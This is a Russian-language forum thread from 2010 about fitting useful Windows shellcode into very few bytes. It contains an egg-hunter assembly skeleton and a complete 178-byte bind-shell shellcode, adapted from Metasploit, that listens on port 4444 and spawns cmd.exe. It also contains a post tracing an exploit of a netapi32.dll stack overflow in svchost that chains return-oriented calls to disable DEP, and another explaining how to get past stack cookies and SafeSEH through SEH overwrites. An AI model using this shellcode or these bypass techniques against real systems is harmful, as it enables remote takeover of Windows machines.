мини-шеллкод

Тема в разделе "WASM.BEGINNERS", создана пользователем kweed, 10 май 2010.

  1. kweed

    kweed New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    81
    реально ли уместить какой-то осмысленный шеллкод в 40 байтах? нужны примеры...
     
  2. GoldFinch

    GoldFinch New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2008
    Сообщения:
    1.775
    смотря какую функциональность надо, и смотря внутри чего он будет работать
     
  3. 7mm

    7mm New Member

    Публикаций:
    0
    Регистрация:
    15 дек 2009
    Сообщения:
    442
  4. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Унылости. Куки давно спасли мир.
     
  5. kweed

    kweed New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    81
    в общем была такая идея, - использовать код из системных библиотек. например, если найти подходящую цепочку кода где-нибудь в kernel32, то потом можно использовать ее при случае, а не толкать свою в шеллкод... плевать на совместимость и универсальность, шлавное - уменьшить размер! хотя хз как это на деле будет

    функциональность в духе командной строки, среда - windows, среднестатистический процесс, сервис под svchost...

    шеллкод в поисках себя... романтично =)
     
  6. 7mm

    7mm New Member

    Публикаций:
    0
    Регистрация:
    15 дек 2009
    Сообщения:
    442
    Это называется return-to-libc :)
    http://en.wikipedia.org/wiki/Return-to-libc_attack
     
  7. kweed

    kweed New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    81
    хз. я не спец, но помоему я другое имел ввиду, конкретно - искать определенные последовательности, которые можно было-бы использовать...
    к примеру, понадобился вот такой код:
    Код (Text):
    1. push 1234
    2. push ecx
    3. push 1
    4. push 0
    5. push 0
    а в какой-нибудь системной либе удалось найти:
    Код (Text):
    1. push 1234
    2. push ecx
    3. push 1
    4. push 0
    5. push 0
    6. call eax
    можно юзануть соответсно (положив eax адрес возврата), тем самым немного сократив свой код. ну это только к примеру, того что я выше написал, вообще же хотелось узанать какие еще способы есть. с яйцами - шикарно конечно (и есть над чем подумать), но применимость этого метода как мне показалось под вопросом.. хотя если все же подумать...
     
  8. 7mm

    7mm New Member

    Публикаций:
    0
    Регистрация:
    15 дек 2009
    Сообщения:
    442
    Можно и так, то же самое примерно выходит. А про яйца вот что: есть смысл использовать, если существует возможность либо разными способами данные в контекст процесса доставлять (ну не обязательно же через уязвимость) или же, в случае когда уязвимость позволяет эксплуатироваться несколько раз. Тогда за N раз загружаете в какой-нибудь "свободный" участок памяти свой код.
     
  9. kweed

    kweed New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    81
    трабла с яйцами, - сам обработчик (сборщик вернее) великоват выходит... есть еще идеи?
     
  10. 7mm

    7mm New Member

    Публикаций:
    0
    Регистрация:
    15 дек 2009
    Сообщения:
    442
    Ну так закиньте его в несколько приёмов, или я что-то не догоняю? Сплойт один раз только работает?..
     
  11. GoldFinch

    GoldFinch New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2008
    Сообщения:
    1.775
    +1 к тому чтобы с высокой вероятностью доставить в хип целевого процесса большой кусок кода,
    а потом в шеллкоде просканировать всю память, найти этот код в памяти по сигнатуре, и передать туда управление

    размер шеллкода = SEH + поиск строки + размер сигнатуры
     
  12. kweed

    kweed New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    81
    один. вобщем-то можно предварительно оставить что-то на стеке и потом выполнить, честно говоря я уже так и сделал =),.. но беспокоит надежность, да и вообще философская сторона дела, - хочется сделать просто и элегантно...
     
  13. kweed

    kweed New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    81
    ну SEH то довольно компактный получается, основная масса кода приходится именно на поиск строки (поиск, идентификация, копирование) а еще ведь и сам код положительно необходимо проверить на правильность (crc?), потому как сигнатура то может совпасть (что там, dword сигнатура?) а вот код оказаться левым...

    небольшой эскиз =) конечно там были исходники, но предпочитаю сам все писать. это то что у меня получилось на тему яичницы, то что НЕ РЕАЛИЗОВАНО - это было... но было вырезано по причине своей большой емкости (и значит непригодности) комментраии?
    Код (Text):
    1. .486
    2. .MODEL FLAT, STDCALL
    3. OPTION CASEMAP:NONE
    4. OPTION PROLOGUE:NONE
    5. OPTION EPILOGUE:NONE
    6.  
    7.     INCLUDE \masm32\include\windows.inc
    8.  
    9.     EGG_SIGNATURE       equ 'e'
    10.     EGG_SIZE        equ 32          ;32 + header
    11.  
    12. ;egg header:
    13. ; BYTE signature
    14. ; BYTE index
    15. ; WORD checksumm
    16.  
    17. ;/////////////////////////////////////////////////////////////////////////////
    18. .code
    19.  
    20. EntryPoint PROC
    21.  
    22.     ASSUME  FS:NOTHING
    23.  
    24.     ;*** INSTALL EXCEPTION HANDLER ***
    25.  
    26.     xor eax, eax
    27.     push    OFFSET excp         ;*** FIX THIS !!!
    28.     push    eax
    29.     mov fs:[eax], esp
    30.  
    31.     ;*** SCAN MEMORY ***
    32. scan:
    33.     xor esi, esi
    34. next:
    35.     mov eax, [esi]
    36.     inc esi
    37.     cmp al, EGG_SIGNATURE
    38.     jne next
    39. chck:
    40.     ;ЗДЕСЬ: ПРОВЕРИТЬ, КОПИРОВАТЬ (НЕ РЕАЛИЗОВАНО)
    41.     jmp next
    42.  
    43.     ;*** EXCEPTION HANDLER ***
    44. excp:
    45.     mov edx, [esp+12]
    46.     xor eax, eax
    47.     mov al, 160         ;OFFSET CONTEXT.regEsi
    48.     add edx, eax
    49.     cmp BYTE PTR[edx+03], 80h   ;esi >= 80000000h ?
    50.     jae eggs            ;try to execute
    51. cont:
    52.     xor eax, eax
    53.     mov ah, 10h
    54.     add [edx], eax      ;CONTEXT.regEsi + 1000H
    55.     xor eax, eax
    56.     ret
    57.  
    58.     ;*** SPACE FOR SHELLCODE ***
    59. eggs:
    60.  
    61.  
    62. EntryPoint ENDP
    63. end EntryPoint
    64.  
    65. ;/////////////////////////////////////////////////////////////////////////////
     
  14. kweed

    kweed New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    81
    еще один шеллкод, имеющий множество недостатков и только одно преимущество, - небольшой размер (178 байт). впрочем до сабжа не дотягивает, но пока это максимум что удалось написать. код зависит от версии длл-ок: ws2_32.dll и kernel32.dll, адреса экспортируемых ими функций зашиваются в тело шеллкода и в этом главное неудобство. за основу взят shell_bind_tcp из metasploit, - развернут и перекроен в целях уменьшения размера (178 против 320), в итоге потерялась все его универсальность... ну, приходится идти на жертвы =)

    зы. имхо всетаки 40 байт - дохлое дело, ... или задача для супер-кодера.

    Код (Text):
    1. .386
    2. .MODEL FLAT, STDCALL
    3.  
    4. OPTION CASEMAP:     NONE
    5. OPTION PROLOGUE:    NONE
    6. OPTION EPILOGUE:    NONE
    7.  
    8.     ;kernel32.dll (5.1.2600.2180):
    9.     CreateProcessA          equ 7C802367H
    10.     WaitForSingleObject     equ 7C802530H
    11.     CloseHandle         equ 7C809B77H
    12.     ExitThread          equ 7C80CCA9H
    13.  
    14.     ;ws2_32.dll (5.1.2600.2180):
    15.     WSAStartup          equ 71A9664DH
    16.     WSASocketA          equ 71A98769H
    17.     bind                equ 71A93E00H   ;00
    18.     listen              equ 71A988D3H
    19.     accept              equ 71AA1028H
    20.  
    21. ;////////////////////////////////////////////////////////////////////////////
    22. .code
    23. start:
    24.     add esp, -204H      ;get room for WSADATA
    25.     push    esp
    26.     push    2
    27.     mov eax, WSAStartup
    28.     call    eax
    29.  
    30.     push    eax
    31.     push    eax
    32.     push    eax
    33.     push    eax
    34.     push    1
    35.     push    2
    36.     mov eax, WSASocketA
    37.     call    eax
    38.     mov ebx, eax
    39.  
    40.     xor eax, eax
    41.     push    eax         ;inaddr_any
    42.     mov ax, 5A11H       ;htons(4444)
    43.     add ah, 2           ;-- 5C bad, use 5A+2
    44.     shl eax, 16         ;AF_INET
    45.     add al, 2           ;
    46.     push    eax
    47.     mov eax, esp
    48.  
    49.     push    16
    50.     push    eax
    51.     push    ebx
    52.     mov eax, bind + 41H     ;-- 00 bad, add 41H
    53.     sub al, 41H         ;******************
    54.     call    eax
    55.  
    56.     push    2
    57.     push    ebx
    58.     mov eax, listen
    59.     call    eax
    60.  
    61.     push    esp
    62.     push    esp
    63.     push    ebx
    64.     mov eax, accept
    65.     call    eax
    66.     mov ebp, eax
    67.  
    68.     mov edi, esp    ;PROCESS_INFORMATION
    69.     xor ecx, ecx
    70.     push    eax
    71.     push    eax
    72.     push    eax
    73.     push    ecx
    74.     push    ecx
    75.     push    cx
    76.     dd  01016866h   ;push word 0101h
    77.     push    ecx
    78.     push    ecx
    79.     push    ecx
    80.     push    ecx
    81.     push    ecx
    82.     push    ecx
    83.     push    ecx
    84.     push    ecx
    85.     push    ecx
    86.     push    ecx
    87.     push    68      ;sizeof STARTUPINFO
    88.     mov eax, esp    ;STARTUPINFO
    89.  
    90.     push    "admc"
    91.     mov [esp+03], cl
    92.     mov esi, esp    ;"cmd"
    93.  
    94.     push    edi
    95.     push    eax
    96.     push    ecx
    97.     push    ecx
    98.     push    ecx
    99.     push    1
    100.     push    ecx
    101.     push    ecx
    102.     push    esi
    103.     push    ecx
    104.     mov eax, CreateProcessA
    105.     call    eax
    106.  
    107.     push    -1          ;infinite
    108.     push    [edi]           ;processinfo.hProcess
    109.     mov eax, WaitForSingleObject
    110.     call    eax
    111.  
    112.     ;*****************
    113.  
    114.     push    ebx
    115.     push    ebp
    116.     push    [edi]
    117.     mov esi, CloseHandle
    118.     call    esi
    119.     call    esi
    120.     call    esi
    121.  
    122.     push    eax
    123.     mov eax, ExitThread
    124.     call    eax         ;end of story
    125.  
    126. end start
    127.  
    128. ;////////////////////////////////////////////////////////////////////////////
     
  15. Nafanya

    Nafanya Member

    Публикаций:
    0
    Регистрация:
    26 июл 2006
    Сообщения:
    581
    Clerk
    "Унылости. Куки давно спасли мир."

    Куки мир не спасли.

    1) Не всякий уязвимый код содержит защиту StackCookie.
    2) Даже если и есть защита StackCookie, пусть идёт лесом.
    При переполнении->
    Перезаписываем в SEH, указатель на обработчик исключения. Генерируем исключение до проверки StackCookie. Захватываем управление потоком,курим.(SafeSEH также не спасёт,т.к. не все файлы им защищены)
    В этом случае Stackcookie даже провериться не успеет,т.к. управление потоком уже будет захвачено до проверки,и проц давно гонит внедрённый код.
     
  16. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    701
    про сех согласен но это не всегда работает опять же от бага зависит
     
  17. Nafanya

    Nafanya Member

    Публикаций:
    0
    Регистрация:
    26 июл 2006
    Сообщения:
    581
    Обход Stackcookie и SafeSeh /
     
  18. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Nafanya
    1. Да не всякий. Но такой код редко уязвим к переполнениям, ибо архитекторы умнее чем вы и предусматривают такие возможности, это касается и RC.
    2. Что идёт лесом ?
    Диспетчер исключений в обоих модах проверяет принадлежность сех модулям. В стеке он его вызывать не будет(в лузермоде можно обойти, в ядре нет).
     
  19. Nafanya

    Nafanya Member

    Публикаций:
    0
    Регистрация:
    26 июл 2006
    Сообщения:
    581
    Clerk
    1)"Но такой код редко уязвим к переполнениям, ибо архитекторы умнее "
    2)"В стеке он его вызывать не будет"

    Интересно с умным человеком поспорить!

    1) Без защиты Stackcookie. В день написания функции NetpwPathCanonicalize архитектор спал на работе и забыл про StackCookie!

    Пример -> WIN XP SP2 библиотека netapi32.dll версия 5.1.2600.2180.
    Уязвимый код:
    5BD5A454 . 50 PUSH EAX ; /src
    5BD5A455 . 57 PUSH EDI ; |dest
    5BD5A456 . FF15 3010D55B CALL DWORD PTR DS:[<&msvcrt.wcscpy>] ; \wcscpy

    Привожу самое интересное - трассу уязвимого системного процесса svchost.exe - в момент проведения атаки на удалённый хост и захват его управления.

    Адрес Поток Инструкция
    5BD5A46A 00000124 POP EDI
    5BD5A46B 00000124 POP ESI
    5BD5A46C 00000124 POP EBX
    5BD5A46D 00000124 LEAVE ;выход из уязвимой функции,буфер уже переполнен!
    5BD5A46E 00000124 RETN 4 ;Далее только ret2libc,код в стеке пока нельзя исполнять.
    7C952080 00000124 MOV AL,1 ;al должно быть=1,чтобы обойти DEP
    7C952082 00000124 RETN 4
    77F426B7 00000124 PUSH ESP
    77F426B8 00000124 POP EBP ;Восстановление EBP(шеллкод его повредил)
    77F426B9 00000124 RETN 4
    7C91D949 00000124 RETN 10 ;Откат по стеку
    7C91D949 00000124 RETN 10
    7C91D949 00000124 RETN 10
    7C91D3F8 00000124 CMP AL,1 ;Начался обход DEP
    7C91D3FA 00000124 PUSH 2
    7C91D3FC 00000124 POP ESI
    7C91D3FD 00000124 JE ntdll.7C93FEBA
    7C93FEBA 00000124 MOV DWORD PTR SS:[EBP-4],ESI
    7C93FEBD 00000124 JMP ntdll.7C91D403
    7C91D403 00000124 CMP DWORD PTR SS:[EBP-4],0
    7C91D407 00000124 JNZ ntdll.7C935D6D
    7C935D6D 00000124 PUSH 4
    7C935D6F 00000124 LEA EAX,DWORD PTR SS:[EBP-4]
    7C935D72 00000124 PUSH EAX
    7C935D73 00000124 PUSH 22
    7C935D75 00000124 PUSH -1
    7C935D77 00000124 CALL ntdll.ZwSetInformationProcess
    7C935D7C 00000124 JMP ntdll.7C91D441
    7C91D441 00000124 POP ESI
    7C91D442 00000124 LEAVE
    7C91D443 00000124 RETN 4 ;DEP курит->код в стеке исполнять можно!
    7C82385D 00000124 CALL ESP
    0128F494 00000124 JMP SHORT 0128F4D0
    0128F4D0 00000124 FCMOVBE ST,ST(3) ;шеллкод получил управление

    2)А в стеке его вызывать и не надо,указатель обработчика исключений нацеливаем на код pop;pop;ret в модуле который не защищён SafeSeh(Защищены не все!). А где Pointer to Next SEH Record, там жёстко забиваем инструкцию прыжка на шеллкод(EB..... или E9......),чтоб шеллкод был переносимым. Так полезная нагрузка(шеллкод) и получит управление.

    StackCookie - защита от дурачка(случайно переполнил - ввёл больше символов), а если человек перед атакой проводит тщательный анализ уязвимости, делает множество тестов в дружественной LAN на выявление аномального поведения шеллкода и отклонений, а также планирует все свои действия до мелочей,то StackCookie курит на пару с Депом.
     
  20. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Nafanya
    Допустим имеется стандартный фрейм:
    - Локальные переменные
    - Куки
    - Seh-фрейм
    - Bp-фрейм
    Переписали вы при переполнении переменные, далее куки, сех и bp-фрейм, в котором адрес возврата. Но фишка в том, что куки проверяются есчо до возврата и удаления сех-фрейма, так что ваш код никак управление не получит. О каких обходах програмной DEP вы говорите ?